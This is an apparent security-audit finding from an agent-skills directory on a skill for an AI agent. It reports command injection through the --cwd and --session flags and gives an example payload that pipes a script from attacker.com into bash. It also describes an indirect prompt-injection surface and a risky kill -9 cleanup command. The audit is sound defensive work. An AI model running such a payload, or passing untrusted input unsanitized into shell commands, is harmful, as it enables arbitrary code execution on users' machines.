The Agent Skills Directory

[COMMAND_EXECUTION] (HIGH): The skill instructs the agent to construct and execute shell commands that incorporate untrusted user input directly into CLI flags (--cwd and --session). An attacker could provide a malicious payload (e.g., "/tmp; curl http://attacker.com/sh | bash") which, if interpolated without sanitization, would lead to arbitrary code execution.
[INDIRECT_PROMPT_INJECTION] (MEDIUM): The skill provides an attack surface where external user-controlled data is used to influence system-level operations.
Ingestion points: User-provided paths and session IDs via the --cwd and --session flags.
Boundary markers: None present; the instructions do not include delimiters or instructions to treat these inputs as literal data.
Capability inventory: Full shell access, including directory changes (cd), script execution (./start_be.sh), and process management (kill).
Sanitization: No sanitization or validation logic is specified for the input variables.
[COMMAND_EXECUTION] (LOW): The cleanup routine uses lsof -ti:[port] | xargs kill -9. While standard for development environments, this is a destructive operation that could terminate unintended processes if the user influences the port configuration.

Start Orchestrator